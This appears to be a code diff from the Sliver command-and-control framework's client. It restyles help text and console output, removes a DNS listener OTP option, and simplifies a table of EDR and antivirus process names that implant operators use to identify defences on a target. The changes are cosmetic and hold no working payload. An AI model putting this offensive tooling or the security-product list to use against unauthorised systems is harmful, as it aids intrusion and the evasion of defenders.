consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -135,6 +136,7 @@ var (
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
arguments are be separated from the sliver 'execute' arguments with '--'
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
[[.Bold]]Example:[[.Normal]]
execute /bin/bash --env FOO=1 -- -c env
@@ -145,6 +147,11 @@ FOO=1
PWD=/Users/moloch/git/sliver
SHLVL=1
_=/usr/bin/env
`
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
`
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -1409,24 +1416,6 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
To get information about services, you need to be an authenticated user on the system or domain. To control services, you need administrator or higher privileges.`
)
const (
// ANSI Colors
normal = "\033[0m"
black = "\033[30m"
red = "\033[31m"
green = "\033[32m"
orange = "\033[33m"
blue = "\033[34m"
purple = "\033[35m"
cyan = "\033[36m"
gray = "\033[37m"
bold = "\033[1m"
clearln = "\r\x1b[2K"
upN = "\033[%dA"
downN = "\033[%dB"
underline = "\033[4m"
)
// GetHelpFor - Get help string for a command
func GetHelpFor(cmdName []string) string {
if 0 < len(cmdName) {
@@ -1437,34 +1426,100 @@ func GetHelpFor(cmdName []string) string {
return ""
}
// FormatHelpTmpl - Applies format template to help string
type helpStyleState struct {
bold bool
underline bool
fgSet bool
fg lipgloss.Color
}
func (s *helpStyleState) reset() {
s.bold = false
s.underline = false
s.fgSet = false
s.fg = ""
}
func (s *helpStyleState) apply(token string) bool {
switch token {
case "Normal":
s.reset()
case "Bold":
s.bold = true
case "Underline":
s.underline = true
case "Black":
s.fgSet, s.fg = true, theme.DefaultMod(50)
case "Red":
s.fgSet, s.fg = true, theme.Danger()
case "Green":
s.fgSet, s.fg = true, theme.Success()
case "Orange":
s.fgSet, s.fg = true, theme.Warning()
case "Blue":
s.fgSet, s.fg = true, theme.Primary()
case "Purple":
s.fgSet, s.fg = true, theme.Secondary()
case "Cyan":
s.fgSet, s.fg = true, theme.PrimaryMod(500)
case "Gray":
// ANSI "gray" (37) is typically light; map to the lightest neutral.
s.fgSet, s.fg = true, theme.DefaultMod(900)
default:
return false
}
return true
}
func (s helpStyleState) render(text string) string {
if text == "" {
return ""
}
st := lipgloss.NewStyle()
if s.bold {
st = st.Bold(true)
}
if s.underline {
st = st.Underline(true)
}
if s.fgSet {
st = st.Foreground(s.fg)
}
return st.Render(text)
}
// FormatHelpTmpl - Applies the help markup (e.g. [[.Bold]]...[[.Normal]]) using lipgloss.
func FormatHelpTmpl(helpStr string) string {
outputBuf := bytes.NewBufferString("")
tmpl, _ := template.New("help").Delims("[[", "]]").Parse(helpStr)
tmpl.Execute(outputBuf, struct {
Normal string
Bold string
Underline string
Black string
Red string
Green string
Orange string
Blue string
Purple string
Cyan string
Gray string
}{
Normal: normal,
Bold: bold,
Underline: underline,
Black: black,
Red: red,
Green: green,
Orange: orange,
Blue: blue,
Purple: purple,
Cyan: cyan,
Gray: gray,
})
return outputBuf.String()
var (
out strings.Builder
state helpStyleState
)
state.reset()
i := 0
for i < len(helpStr) {
j := strings.Index(helpStr[i:], "[[.")
if j < 0 {
out.WriteString(state.render(helpStr[i:]))
break
}
j += i
if j > i {
out.WriteString(state.render(helpStr[i:j]))
}
k := strings.Index(helpStr[j:], "]]")
if k < 0 {
out.WriteString(state.render(helpStr[j:]))
break
}
token := helpStr[j+3 : j+k]
if !state.apply(token) {
// Unknown token; preserve it as plain text.
out.WriteString(helpStr[j : j+k+2])
}
i = j + k + 2
}
return out.String()
}
+18 -9
View File
@@ -5,6 +5,7 @@ import (
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
@@ -61,13 +62,21 @@ type editorModel struct {
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
cursorStyle = lipgloss.NewStyle().Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
)
func modifiedStyle() lipgloss.Style {
// Read from the global console theme so theme.yaml changes are reflected.
return console.StyleWarning
}
func modifiedCursorStyle() lipgloss.Style {
// Read from the global console theme so theme.yaml changes are reflected.
return console.StyleWarning.Copy().Reverse(true)
}
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
@@ -400,8 +409,8 @@ func (m *editorModel) renderLine(lineIndex int) string {
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
hexCells[i] = modifiedCursorStyle().Render(hexRaw)
asciiCells[i] = modifiedCursorStyle().Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
@@ -409,8 +418,8 @@ func (m *editorModel) renderLine(lineIndex int) string {
continue
}
if isModified {
hexCells[i] = modifiedStyle.Render(hexRaw)
asciiCells[i] = modifiedStyle.Render(asciiRaw)
hexCells[i] = modifiedStyle().Render(hexRaw)
asciiCells[i] = modifiedStyle().Render(asciiRaw)
continue
}
hexCells[i] = hexRaw
+38 -38
View File
@@ -70,47 +70,47 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, session.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, session.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, session.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
con.Printf("%s %s\n", console.StyleBold.Render(" Session ID:"), session.ID)
con.Printf("%s %s\n", console.StyleBold.Render(" Name:"), session.Name)
con.Printf("%s %s\n", console.StyleBold.Render(" Hostname:"), session.Hostname)
con.Printf("%s %s\n", console.StyleBold.Render(" UUID:"), session.UUID)
con.Printf("%s %s\n", console.StyleBold.Render(" Username:"), session.Username)
con.Printf("%s %s\n", console.StyleBold.Render(" UID:"), session.UID)
con.Printf("%s %s\n", console.StyleBold.Render(" GID:"), session.GID)
con.Printf("%s %d\n", console.StyleBold.Render(" PID:"), session.PID)
con.Printf("%s %s\n", console.StyleBold.Render(" OS:"), session.OS)
con.Printf("%s %s\n", console.StyleBold.Render(" Version:"), session.Version)
con.Printf("%s %s\n", console.StyleBold.Render(" Locale:"), session.Locale)
con.Printf("%s %s\n", console.StyleBold.Render(" Arch:"), session.Arch)
con.Printf("%s %s\n", console.StyleBold.Render(" Active C2:"), session.ActiveC2)
con.Printf("%s %s\n", console.StyleBold.Render(" Remote Address:"), session.RemoteAddress)
con.Printf("%s %s\n", console.StyleBold.Render(" Proxy URL:"), session.ProxyURL)
con.Printf("%s %s\n", console.StyleBold.Render("Reconnect Interval:"), time.Duration(session.ReconnectInterval).String())
con.Printf("%s %s\n", console.StyleBold.Render(" First Contact:"), con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf("%s %s\n", console.StyleBold.Render(" Last Checkin:"), con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
} else if beacon != nil {
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
con.Printf("%s %s\n", console.StyleBold.Render(" Beacon ID:"), beacon.ID)
con.Printf("%s %s\n", console.StyleBold.Render(" Name:"), beacon.Name)
con.Printf("%s %s\n", console.StyleBold.Render(" Hostname:"), beacon.Hostname)
con.Printf("%s %s\n", console.StyleBold.Render(" UUID:"), beacon.UUID)
con.Printf("%s %s\n", console.StyleBold.Render(" Username:"), beacon.Username)
con.Printf("%s %s\n", console.StyleBold.Render(" UID:"), beacon.UID)
con.Printf("%s %s\n", console.StyleBold.Render(" GID:"), beacon.GID)
con.Printf("%s %d\n", console.StyleBold.Render(" PID:"), beacon.PID)
con.Printf("%s %s\n", console.StyleBold.Render(" OS:"), beacon.OS)
con.Printf("%s %s\n", console.StyleBold.Render(" Version:"), beacon.Version)
con.Printf("%s %s\n", console.StyleBold.Render(" Locale:"), beacon.Locale)
con.Printf("%s %s\n", console.StyleBold.Render(" Arch:"), beacon.Arch)
con.Printf("%s %s\n", console.StyleBold.Render(" Active C2:"), beacon.ActiveC2)
con.Printf("%s %s\n", console.StyleBold.Render(" Remote Address:"), beacon.RemoteAddress)
con.Printf("%s %s\n", console.StyleBold.Render(" Proxy URL:"), beacon.ProxyURL)
con.Printf("%s %s\n", console.StyleBold.Render(" Interval:"), time.Duration(beacon.Interval).String())
con.Printf("%s %s\n", console.StyleBold.Render(" Jitter:"), time.Duration(beacon.Jitter).String())
con.Printf("%s %s\n", console.StyleBold.Render(" First Contact:"), con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf("%s %s\n", console.StyleBold.Render(" Last Checkin:"), con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf("%s %s\n", console.StyleBold.Render(" Next Checkin:"), con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
-1
View File
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
})
// HTTP
+4 -6
View File
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
EnforceOTP: !enforceOTP,
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
})
con.Println()
if err != nil {
+1 -1
View File
@@ -82,7 +82,7 @@ func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) {
return
}
if loot.File.Name != "" {
con.PrintInfof("%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
con.PrintInfof("%s %s\n\n", console.StyleBold.Render("File Name:"), loot.File.Name)
}
if loot.File.Data != nil && 0 < len(loot.File.Data) {
if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
+4 -7
View File
@@ -20,7 +20,6 @@ package monitor
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
@@ -99,14 +98,12 @@ func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverCli
"APIPassword",
})
color := console.Normal
for _, config := range configs.Providers {
row := table.Row{}
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
row = append(row, config.ID)
row = append(row, config.Type)
row = append(row, config.APIKey)
row = append(row, config.APIPassword)
tw.AppendRow(row)
}
+2 -2
View File
@@ -75,7 +75,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCli
for index, iface := range interfaces {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableWithBordersStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
tw.SetTitle(console.StyleBold.Render(iface.Name))
tw.SetColumnConfigs([]table.ColumnConfig{
{Name: "#", AutoMerge: true},
{Name: "IP Address", AutoMerge: true},
@@ -100,7 +100,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCli
}
}
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
ips = append(ips, console.StyleBoldGreen.Render(ip))
} else if all {
ips = append(ips, fmt.Sprintf("%s", ip))
}
+5 -5
View File
@@ -104,11 +104,11 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
}
if entry.Process != nil && entry.Process.Pid == implantPID {
tw.AppendRow(table.Row{
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
console.StyleGreen.Render(entry.Protocol),
console.StyleGreen.Render(srcAddr),
console.StyleGreen.Render(dstAddr),
console.StyleGreen.Render(entry.SkState),
console.StyleGreen.Render(pid),
})
} else {
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
+3 -3
View File
@@ -50,7 +50,7 @@ func displayOperators(operators []*clientpb.Operator, con *console.SliverClient)
})
for _, operator := range operators {
tw.AppendRow(table.Row{
console.Bold + operator.Name + console.Normal,
console.StyleBold.Render(operator.Name),
status(operator.Online),
})
}
@@ -59,7 +59,7 @@ func displayOperators(operators []*clientpb.Operator, con *console.SliverClient)
func status(isOnline bool) string {
if isOnline {
return console.Bold + console.Green + "Online" + console.Normal
return console.StyleBoldGreen.Render("Online")
}
return console.Bold + console.Red + "Offline" + console.Normal
return console.StyleBoldRed.Render("Offline")
}
+1 -1
View File
@@ -81,7 +81,7 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf("%s Pivots", PivotTypeToString(listener.Type))))
tw.AppendSeparator()
tw.AppendHeader(table.Row{
"ID",
+107 -107
View File
@@ -36,77 +36,77 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// Stylizes known processes in the `ps` command
var knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"elastic-agent.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
"elastic-endpoint.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
"filebeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - log shipper
"metricbeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - metric shipper
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
"collector.exe": {console.Red, "Rapid 7 Collector"}, // Rapid 7 Insight Platform Collector
"ir_agent.exe": {console.Red, "Rapid 7 Insight Agent"}, // Rapid 7 Insight Agent
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
"AEEngine.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - security service
"Antiexecutable.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - gui and tray icon
// Known security tools shown by `ps`/`pstree`.
// Process executable -> product name.
var knownSecurityTools = map[string]string{
"ccSvcHst.exe": "Symantec Endpoint Protection", // Symantec Endpoint Protection (SEP)
"cb.exe": "Carbon Black", // Carbon Black
"RepMgr.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
"RepUtils.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
"RepUx.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
"RepWSC.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
"scanhost.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
"elastic-agent.exe": "Elastic Agent", // Elastic Agent
"elastic-endpoint.exe": "Elastic Agent", // Elastic Agent
"filebeat.exe": "Elastic Agent", // Elastic Agent - log shipper
"metricbeat.exe": "Elastic Agent", // Elastic Agent - metric shipper
"smartscreen.exe": "Windows Smart Screen", // Windows Defender Smart Screen
"MpCmdRun.exe": "Windows Defender", // Windows Defender Command-line
"MonitoringHost.exe": "Windows Defender", // Microsoft Monitoring Agent
"HealthService.exe": "Windows Defender", // Microsoft Monitoring Agent
"MsMpEng.exe": "Windows Defender", // Windows Defender (Service Executable)
"NisSrv.exe": "Windows Defender", // Windows Defender (Network Realtime Inspection)
"SenseIR.exe": "Windows Defender MDE", // Windows Defender Endpoint (Live Response Session)
"SenseNdr.exe": "Windows Defender MDE", // Windows Defender Endpoint (Network Detection and Response)
"SenseSC.exe": "Windows Defender MDE", // Windows Defender Endpoint (Screenshot Capture Module)
"SenseCE.exe": "Windows Defender MDE", // Windows Defender Endpoint (Classification Engine Module)
"SenseCM.exe": "Windows Defender MDE", // Windows Defender Endpoint (Configuration Management Module)
"SenseSampleUploader.exe": "Windows Defender MDE", // Windows Defender Endpoint (Sample Uploader Module)
"SenseCncProxy.exe": "Windows Defender MDE", // Windows Defender Endpoint (Communication Module)
"MsSense.exe": "Windows Defender MDE", // Windows Defender Endpoint (Service Executable)
"CSFalconService.exe": "CrowdStrike", // Crowdstrike Falcon Service
"CSFalconContainer.exe": "CrowdStrike", // CrowdStrike Falcon Container Security
"bdservicehost.exe": "Bitdefender", // Bitdefender (Total Security)
"bdagent.exe": "Bitdefender", // Bitdefender (Total Security)
"bdredline.exe": "Bitdefender", // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": "Trend Micro", // TM Deep Security Manager
"coreServiceShell.exe": "Trend Micro", // TM Anti-malware scan process
"ds_monitor.exe": "Trend Micro", // TM Deep Security Monitor
"Notifier.exe": "Trend Micro", // TM Deep Security Notifier's process
"dsa.exe": "Trend Micro", // TM Agent's main process
"ds_nuagent.exe": "Trend Micro", // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": "Trend Micro", // TM Anti-malware scan process
"SentinelServiceHost.exe": "SentinelOne", // Sentinel One
"SentinelStaticEngine.exe": "SentinelOne", // Sentinel One
"SentinelStaticEngineScanner.exe": "SentinelOne", // Sentinel One
"SentinelAgent.exe": "SentinelOne", // Sentinel One
"SentinelAgentWorker.exe": "SentinelOne", // Sentinel One
"SentinelHelperService.exe": "SentinelOne", // Sentinel One
"SentinelBrowserNativeHost.exe": "SentinelOne", // Sentinel One
"SentinelUI.exe": "SentinelOne", // Sentinel One
"Sysmon.exe": "Sysmon", // Sysmon
"Sysmon64.exe": "Sysmon64", // Sysmon64
"CylanceSvc.exe": "Cylance", // Cylance
"CylanceUI.exe": "Cylance", // Cylance
"TaniumClient.exe": "Tanium", // Tanium
"TaniumCX.exe": "Tanium", // Tanium
"TaniumDetectEngine.exe": "Tanium", // Tanium
"collector.exe": "Rapid 7 Collector", // Rapid 7 Insight Platform Collector
"ir_agent.exe": "Rapid 7 Insight Agent", // Rapid 7 Insight Agent
"eguiproxy.exe": "ESET Security", // ESET Internet Security
"ekrn.exe": "ESET Security", // ESET Internet Security
"efwd.exe": "ESET Security", // ESET Internet Security
"AmSvc.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
"CrAmTray.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
"CrsSvc.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
"CybereasonAV.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
"cortex-xdr-payload.exe": "Palo Alto Cortex", // Cortex XDR - offline triage
"cysandbox.exe": "Palo Alto Cortex", // Cortex XDR - sandbox
"cyuserservice.exe": "Palo Alto Cortex", // Cortex XDR - user service
"cywscsvc.exe": "Palo Alto Cortex", // Cortex XDR - security center service
"tlaworker.exe": "Palo Alto Cortex", // Cortex XDR - local analysis worker
"AEEngine.exe": "Faronics Anti-Executable", // Faronics Anti-Executable - security service
"Antiexecutable.exe": "Faronics Anti-Executable", // Faronics Anti-Executable - gui and tray icon
}
// PsCmd - List processes on the remote system
@@ -264,10 +264,10 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags
}
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
uniqProducts := map[string]string{}
uniqProducts := map[string]struct{}{}
for _, proc := range ps.Processes {
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
uniqProducts[secTool[1]] = secTool[0]
if product, ok := knownSecurityTools[proc.Executable]; ok {
uniqProducts[product] = struct{}{}
}
}
products := make([]string, 0, len(uniqProducts))
